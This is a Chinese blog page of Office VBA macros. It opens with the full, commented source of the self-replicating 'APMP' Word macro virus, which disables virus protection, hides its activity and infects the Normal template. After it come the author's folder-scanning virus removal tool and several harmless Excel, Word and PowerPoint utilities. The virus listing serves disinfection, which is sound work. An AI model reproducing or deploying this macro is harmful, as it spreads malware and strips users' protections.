Office宏病毒APMP源码
打开开发工具-启动Visual Basic编辑器可查看宏病毒源码如下：
'APMP
'KILL
Private Sub Document_Open()
On Error Resume Next '发生错误时 让程序继续执行下一句代码
Application.DisplayStatusBar = False '不显示状态栏，防止显示宏的运行状态
Options.VirusProtection = False '关闭病毒保护功能
Options.SaveNormalPrompt = False '如果公用模板被修改，不给用户提示窗口而直接保存
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) '获取当前文档代码对象
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule '获取公用模板的代码对象
If ThisDocument = NormalTemplate Then _ '判断当前文件是否等于公用模板对象
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule '如果是，则获取当前活动文档的代码对象
With Host
If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then '判断感染标志
.DeleteLines 1, .CountOfLines '如果不是，就清除原来代码
.InsertLines 1, MyCode '嵌入病毒代码
If ThisDocument = NormalTemplate Then _ '判断当前的文档是否等于公用模块
ActiveDocument.SaveAs ActiveDocument.FullName '保存文档，并修改函数名
End If
End With
End Sub宏语言过程源代码：
杀除word中的APMP宏病毒
Option Explicit '强制定义变量
'2015-8-15 By刁星伍于涿州
Dim s1 As String, s2 As String '已杀掉和只读未杀掉文件清单。
Dim ls1 As Long, ls2 As Long '杀掉和未杀掉的文件个数
Dim lPath As Long, lFile As Long '搜索的目录数和word文件数.
Dim WdApp 'word进程
'本工具借鉴了以下2个网页内容,感谢相关博主和楼主及站长
'Juehao的博客 http://blog.sina.com.cn/s/blog_7214229901014wep.html
'百度VB吧中"reeuy801"的帖子 http://tieba.baidu.com/p/2381444096
'中山市飞娥软件工作室 http://www.feiesoft.com/vba/word/wohowWorkingWithTables.htm
'杀掉已经打开的word中的病毒
Sub kill_Opened_apmp()
Dim i As Integer
Dim Vcode As String 'VB代码
Options.SaveNormalPrompt = False '不用提示保存模板
s1 = ""
For i = 1 To Documents.Count '遍历所有打开的word
Vcode = Documents(i).VBProject.VBComponents(1).CodeModule.Lines(1, 20) '读取默认模块中的20行代码
If Left(Vcode, 41) = "'APMP" & Chr(13) & Chr(10) & "'KILL" & Chr(13) & Chr(10) & "Private Sub Document_Open()" Then
'有毒,杀掉,此病毒只有20行，因此只删除除20行。
Documents(i).VBProject.VBComponents(1).CodeModule.DeleteLines 1, 20
If ThisDocument.Name <> Documents(i).Name Then '检查是否是本文件,不是的保存,本文件设成只读的,不用保存.
Documents(i).Save '保存
s1 = s1 & vbCr & Documents(i).Name '保存病毒文件全名
End If
End If
Next i
If s1 = "" Then
MsgBox "无中毒文件"
Else
'把模板中的宏删除
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
MsgBox "中毒文件:" & vbCr & s1
End If
End Sub
'杀除所选文件夹及子文件夹的病毒
Sub Kill_DISK()
Dim StartFolder As String '开始文件夹
Dim FolderList '文件夹列表
Dim FolderName '路径
Dim FName
StartFolder = SelectFilePath() '选择开始文件夹 如果按取消,则返回空字符串
If StartFolder <> "" Then
If Right(StartFolder, 1) <> "\" Then StartFolder = StartFolder & "\" '添加"\"
Set FolderList = CreateObject("scripting.dictionary") '对象
FolderList.Add StartFolder, "" '添加一个项目,以后判断空时代表已经没有需要处理的文件夹
'变量初始化
s1 = ""
s2 = ""
ls1 = 0
ls2 = 0
lPath = 1
lFile = 0
Set WdApp = CreateObject("Word.Application") '打开一个word进程
WdApp.Visible = True '可见
Do While FolderList.Count > 0
For Each FolderName In FolderList.keys
FName = "" '预先设置一个初始化的值,以避免报错
On Error Resume Next '如果报错则进行下一行
FName = Dir(FolderName, vbDirectory)
On Error GoTo 0
Do While FName <> ""
If FName <> ".." And FName <> "." Then '不是 .. 和 . （目录中的2个默认的项目）
On Error Resume Next
If GetAttr(FolderName & FName) And vbDirectory Then
FolderList.Add FolderName & FName & "\", "" '如果是目录，则加入目录列表
lPath = lPath + 1 '目录数+1
Else
If UCase(Right(FName, 4)) = ".DOC" Or UCase(Right(FName, 5)) = ".DOCX" Then
'是WORD 文件
lFile = lFile + 1 'word文件数+1
ThisDocument.Parent.Caption = lFile & ":" & FolderName & FName '在本文档的标题栏显示正在检查的文件序号和文件名
If ThisDocument.FullName <> FolderName & FName Then
'如果不是本文件，则打开查看是否有病毒
On Error GoTo 0
Open_word FolderName & FName '打开查看是否有毒，有毒的杀掉
End If
End If
End If
On Error GoTo 0
End If
FName = Dir
DoEvents '释放控制权
Loop
FolderList.Remove (FolderName)
Next
Loop
ThisDocument.Tables.Item(1).Cell(2, 1).Range.Text = s1 '有毒已经杀掉文件清单
ThisDocument.Tables.Item(2).Cell(2, 1).Range.Text = s2 '有毒,只读文件清单.
' On Error Resume Next
WdApp.Quit SaveChanges:=wdDoNotSaveChanges '关闭打开的word进程
'删除模板中的宏
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
End If
ThisDocument.Parent.Caption = "Microsoft Word" '恢复本文档的标题栏
s1 = " -----------------杀毒完成------------------" & vbCr & vbCr & "共搜索了:" & lPath & " 个目录 " & lFile & " 个word文件。"
If lFile > 0 Then
s1 = s1 & " 其中：" & vbCr & "1.没有此病毒文件数：" & lFile - ls1 - ls2 & vbCr & "2.已经杀掉病毒文件数：" & ls1 & vbCr & "3.未杀掉病毒文件数：" & ls2
End If
MsgBox s1 '显示结果
End Sub
'打开一个word文件检查是否有毒，并杀除
Private Sub Open_word(sFileName As String)
Dim myDOC 'word文件
Dim Vcode '宏代码
Dim t0 '临时变量
Dim OpenDoc '打开的word文件个数
OpenDoc = WdApp.Documents.Count '打开的word文件个数
If sFileName = "" Then
Else
On Error Resume Next
Set myDOC = WdApp.Documents.Open(sFileName) '打开指定的word文档
Vcode = myDOC.VBProject.VBComponents(1).CodeModule.Lines(1, 20) '读入前20行代码
On Error GoTo 0
If Left(Vcode, 41) = "'APMP" & Chr(13) & Chr(10) & "'KILL" & Chr(13) & Chr(10) & "Private Sub Document_Open()" Then
'有毒,杀掉,此病毒只有20行，因此只删除除20行。
myDOC.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 20
t0 = myDOC.AttachedTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines '模板中的vba行数
If t0 > 1 Then
myDOC.AttachedTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, t0 '删除 模板中的vba
End If
'If ThisDocument.Name <> myDOC.Name Then
If myDOC.ReadOnly Then
'只读的,不能保存,把文件名列出来
ls2 = ls2 + 1
s2 = s2 & vbCr & ls2 & "|" & sFileName
Else
myDOC.Save '保存
ls1 = ls1 + 1
s1 = s1 & vbCr & ls1 & "|" & sFileName
End If
'End If
End If
On Error Resume Next
t0 = myDOC.AttachedTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
If t0 > 1 Then
myDOC.AttachedTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, t0
End If
myDOC.Close '关闭word文档，如果打开时有错，则没有关闭
End If
On Error GoTo 0
DoEvents
End Sub
'选择杀毒的文件夹
Private Function SelectFilePath()
'选择单一文件夹
With Application.FileDialog(msoFileDialogFolderPicker)
.AllowMultiSelect = False '单选择
.Filters.Clear '清除文件过滤器
If .Show = -1 Then
'FileDialog 对象的 Show 方法显示对话框，并且返回 -1（如果您按 确定）和 0（如果您按 取消）。
SelectFilePath = .SelectedItems(1) '第一个选项 文件夹全名
Else
SelectFilePath = ""
End If
End With
End Function核对两列数字
'检查选定矩形块的开始和最后两列数据的核对关系
'把两列中“相同”的数据的背景颜色改成黄色。
'使用方法：选中需要比较的两列数据（用一个矩形块选中包含此两列数据，使此两列数据是此矩形行块的第一和最后一列），
' 执行此宏。
Sub subzCheckTwoColNumber()
Dim HH1, HH2, LL1, LL2, i, j, k
Dim oCell1, oCell2
Dim Val1, Val2
HH1 = Selection.Rows.Row '开始的行号
HH2 = HH1 + Selection.Rows.Count - 1 '结束的行号
LL1 = Selection.Columns.Column '第一列的列号
LL2 = LL1 + Selection.Columns.Count - 1 '最后列的列号
If LL1 = LL2 Then Return
For i = HH1 To HH2
Set oCell1 = Cells(i, LL1)
If IsNull(Ocell) Then
Else
Val1 = 0 + Val(oCell1.Value)
For j = HH1 To HH2
Set oCell2 = Cells(j, LL2)
If IsNull(oCell2) Then
Else
Val2 = 0 + Val(oCell2.Value)
If oCell2.Interior.ColorIndex <> 6 And Abs(Val1 - Val2) < 0.0005 Then
oCell1.Interior.ColorIndex = 6
oCell2.Interior.ColorIndex = 6
j = HH2 + 1
End If
End If
Next j
End If
Next i
End Sub取所有工作表名称
'取所有工作表名称
'20091016 刁星伍
'输入:无
'输出:所有工作表名称的列表,用回车符分开。
'返回数据后,可以复制到记事本后再复制回来即可显示列表。
Function getSheetList() As String
Dim i As Integer
For i = 1 To Sheets.Count
getSheetList = getSheetList + Sheets(i).Name + Chr(9) + Chr(13) + Chr(10)
Next
getSheetList = Left(getSheetList, Len(getSheetList) - 3)
End Function计算企业代码的校验位
'计算企业代码的校验位，参见GB11714-89
'输入 sCode：前8位代码
'返回 sVcode：校验码
'刁星伍 2009-6-17
Function sVcode(sCode As String) As String
Dim I As Integer, J As Integer, s1 As String, s2 As String
Dim iC9 As Integer '计算的校验码及中间
Dim iCi As Integer
Dim aW(8) As Integer '加权因子
If Len(sCode) <> 8 Then
sVcode = "本体代码不等于8位"
Else
aW(1) = 3: aW(2) = 7: aW(3) = 9: aW(4) = 10
aW(5) = 5: aW(6) = 8: aW(7) = 4: aW(8) = 2
iC9 = 0
'iCi = Asc(s1) - 48 '字符－》数字
For I = 1 To 8
s1 = UCase(Mid(sCode, I, 1)) 'Ci 当前位字符
If s1 = "#" Then
iCi = 36
ElseIf s1 < "0" Then
sVcode = "错误的字符"
Exit Function
ElseIf s1 <= "9" Then
iCi = Asc(s1) - 48
ElseIf s1 < "A" Then
sVcode = "错误的字符"
Exit Function
ElseIf s1 <= "Z" Then
iCi = Asc(s1) - 55
Else
sVcode = "错误的字符"
Exit Function
End If
iC9 = iC9 + iCi * aW(I) '取合计
Next I
iC9 = 11 - (iC9 Mod 11)
If iC9 = 10 Then
sVcode = "X"
ElseIf iC9 = 11 Then
sVcode = "0"
Else
sVcode = Chr(iC9 + 48)
End If
End If
End Function用Excel打印证件通用程序
'设置本工作表的相应数据到“打印”工作表的相应单元，并打印。
'用法：
' 1.在打印工作表中设置好相应的打印设置。
' 2.把需要填充的单元格中添加“批注”，并使批注的内容为需要填充单元格的列号。如：B
' 3.把需要的数据信息，填写在当前的工作表中。
' 4.光标定位到需要打印的行（可以单击此行的任意单元格）。
' 5.单击“打印当前行证件”按钮。
' 6.根据需要预览后输出还是直接输出，只需要修改本过程的倒数第3和第4行的信息（去掉或加上前边的单引号）。
' 刁星伍 2008-5-8
'设置打印信息
Private Sub CommandButton1_Click()
Dim s1 As String, s2 As String, s0 As String
Dim L1 As Integer, L2 As Integer, H1 As Integer, H2 As Integer
Dim i As Integer, j As Integer
Dim Ocell As Object, oCell0 As Object
Dim H0 As Integer
s0 = ActiveSheet.Name
' If s0 <> "数据库" Then
' MsgBox "请到“数据库”工作表中执行本宏"
' Exit Sub
' End If
H0 = ActiveCell.Row '当前行
s1 = Sheets("打印").PageSetup.PrintArea '打印工作表中的打印区域
If Trim(s1) = "" Then
MsgBox "“打印”工作表中没有定义打印区域，请定义好打印区域后再执行本功能。"
Exit Sub
End If
H1 = Range(s1).Row '打印区域开始的行
L1 = Range(s1).Column '打印区域开始的列
H2 = H1 + Range(s1).Rows.Count - 1 '打印区域结束的行
L2 = L1 + Range(s1).Columns.Count - 1 '打印区域结束的列
On Error Resume Next
For i = L1 To L2
'此循环设置一列数据
For j = H1 To H2
'此循环设置一行数据
Set Ocell = Sheets("打印").Cells(j, i)
If Ocell.Comment.Text = "" Then
Else
Set oCell0 = Sheets(s0).Range(Trim(Replace(Ocell.Comment.Text, Chr(10), "")) & H0)
Set Ocell = Sheets("打印").Cells(j, i)
Ocell.Value = oCell0.Value
End If
Next j
Next i
Sheets("打印").PrintPreview '打印预览 ,如果直接打印输出，则屏蔽此行，开放下一行即可
'Sheets("打印").PrintOut '直接打印输出,如果预览后输出，则屏蔽此行，开放上一行即可
Cells(H0 + 1, 1).Activate '自动转动下一行
End Sub遍历所有选择的单元格(一)
sub 遍例选定单元格1()
Dim oCell As Object
Dim n
On Error Resume Next
For Each oCell In Selection
'处理单元格
'oCell.value=
Next oCell
On Error Goto 0
End Sub遍历所有选择的单元格(二)
Sub 遍例选定单元格2()
Dim oCell As Object
Dim i As Integer, j As Integer
Dim L1 As Integer, L2 As Integer, H1 As Integer, H2 As Integer
L1 = Selection.Columns.Column '第一个选定单元格(左上角)的列号
H1 = Selection.Rows.Row '第一个选定单元格(左上角)的行号
H2 = H1 - 1 + Selection.Rows.Count 'Selection.Rows.Count 选定的单元格行数
L2 = L1 - 1 + Selection.Columns.Count 'Selection.Columns.Count 选定的单元格的列数
For i = H1 To H2
For j = L1 To L2
Set oCell = Cells(i, j) '待处理的单元格
oCell.Value = Chr(64 + j) & i '处理单元格
Next j
Next i
End Sub清空选中单元各格的0.00的值
'如 0.00 或 0换成空白 ;
'
Sub Clear_0()
Dim oCell As Object
Dim val1 As Variant
Dim str1 As String, str2 As String, str3 As String
For Each oCell In Selection
On Error GoTo err1 '有错则下一单元格
val1 = oCell.Value
If IsNumeric(val1) Then '检查是否是数字
If Abs(val1) < 0.005 Then '绝对值<0.005则清零
str1 = ""
oCell.Value = str1
End If
End If
err1:
Next oCell
End Sub删除左边的一半的空格
'
'把选中单元各中的左边空格的数量减半
'如 " 1234"换成" 1234"
'
Sub Modi_Space()
Dim oCell As Object
Dim val1 As Variant
Dim str1 As String, str2 As String, str3 As String
For Each oCell In Selection
On Error GoTo err1
val1 = oCell.Value
str1 = val1
str2 = LTrim(str1) '取消左边的所有空格
str3 = Space(Len(str1) / 2 - Len(str2) / 2) + str2 '去掉左边一半的空格
oCell.Value = str3
err1:
Next oCell
End Sub文本数字转换为数字
'把选择的单元的格式从字符转换为数字
Sub sub1()
Dim oCell As Object
On Error Resume Next
For Each oCell In Selection
If "L" & oCell.Value <> "L" Then
oCell.Value = oCell.Value + 0
End If
Next
End Sub数字金额转大写金额
'改编于《施工企业财务核算系统》。
Function dxje(ByVal curJinE As Currency)
Dim pdxzf, pdxdw, pjezc, pdwwz, pjewz
Dim s1 As String
If curJinE = 0 Then
dxje = ""
Else
pdxzf = "零壹贰叁肆伍陆柒捌玖"
pdxdw = "仟佰拾亿仟佰拾万仟佰拾元角分"
pjedx = IIf(curJinE < 0, "(红字)", "")
pjesz = Abs(curJinE)
pjezc = Format(pjesz * 100, "#0")
pjezc = Space(14 - Len(pjezc)) + pjezc
pdwwz = 0
For pjewz = 1 To Len(pjezc)
s1 = Mid(pjezc, pjewz, 1)
If s1 <> " " Then
pdwwz = pdwwz + 1
If s1 = "0" Then
If pjewz = 4 Then
pjedx = pjedx + "亿"
ElseIf pjewz = 8 And Right(pjedx, 1) <> "亿" Then
pjedx = pjedx + "万"
ElseIf pjewz = 12 Then
pjedx = pjedx + "元"
ElseIf pjewz <> 14 And Mid(pjezc, pjewz + 1, 1) <> "0" Then
pjedx = pjedx + "零"
End If
Else
pjedx = pjedx + Mid(pdxzf, Val(Mid(pjezc, pjewz, 1) + 1), 1)
pjedx = pjedx + Mid(pdxdw, pjewz, 1)
End If
End If
Next
pjedx = Trim(LTrim(pjedx + IIf(Right(pjedx, 1) = "分", "", "整")))
dxje = pjedx
End If
End Function修改单元格的超链接
'把选中单元格的连接修改成当前的文本内容
'用Excel的自动编号功能生成网上的系列连接，后保存成网页html文件，最后使用下载工具下载。
Sub 修改单元格的超链接()
Dim oCell As Object
Dim val1 As Variant
Dim str1 As String, str2 As String, str3 As String
For Each oCell In Selection
On Error GoTo err1
val1 = oCell.Value
ActiveSheet.Hyperlinks.Add Anchor:=oCell, Address:=val1
err1:
Next oCell
End Sub删除PPT中的备注页
Sub 删除幻灯片的备注()
DIM i As Integer
For i = 1 To ActivePresentation.Slides.Count
ActivePresentation.Slides(i).NotesPage.Shapes.Placeholders(2).TextFrame.TextRange.Text = ""
Next i
End Sub删除Excel中的图片
Sub 删除图片()
Dim i As Integer
For i = ActiveSheet.Shapes.Count To 1 Step -1
If Left(ActiveSheet.Shapes(i).Name, 8) = "Picture " Then
ActiveSheet.Shapes(i).Select
Selection.Delete
End If
Next
End Sub查找表格中的外部连接
'检查表格中的外部连接
'用法：在需要查找的工作表中执行本功能
'
Sub 检查外部链接()
Dim i As Long, j As Long, k As Long
Dim oCell As Range
Dim v1, v2, v3
Dim rowOfMax As Long, H1 As Long, H2 As Long '最后的行号
Dim colOfMax As Integer, L1 As Integer '最后的列号
Dim s1 As String
Dim sNbook As String, sNsheet As String
Dim blNoOutLink As Boolean
blNoOutLink = True
sNbook = ActiveWorkbook.Name
sNsheet = ActiveSheet.Name
'查找最后一行
rowOfMax = 0
For i = 1 To 256
j = Workbooks(sNbook).Sheets(sNsheet).Cells(65536, i).End(xlUp).Row '当前列的最后一行
If rowOfMax < j Then rowOfMax = j
Next i
'查找最后一列
colOfMax = 0
For i = 1 To rowOfMax
j = Workbooks(sNbook).Sheets(sNsheet).Cells(i, 256).End(xlToLeft).Column '当前列的最后一行
If colOfMax < j Then colOfMax = j
Next i
For i = 1 To rowOfMax
For j = 1 To colOfMax
s1 = Workbooks(sNbook).Sheets(sNsheet).Cells(i, j).Formula
If Left(s1, 1) = "=" And InStr(s1, "[") > 0 Then
Workbooks(sNbook).Sheets(sNsheet).Cells(i, j).Activate
MsgBox "当前单元的公式为：" & s1
Exit Sub
End If
Next
Next
If blNoOutLink Then MsgBox "当前工作表没有外部链接！"
End Sub
微信
支付宝本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。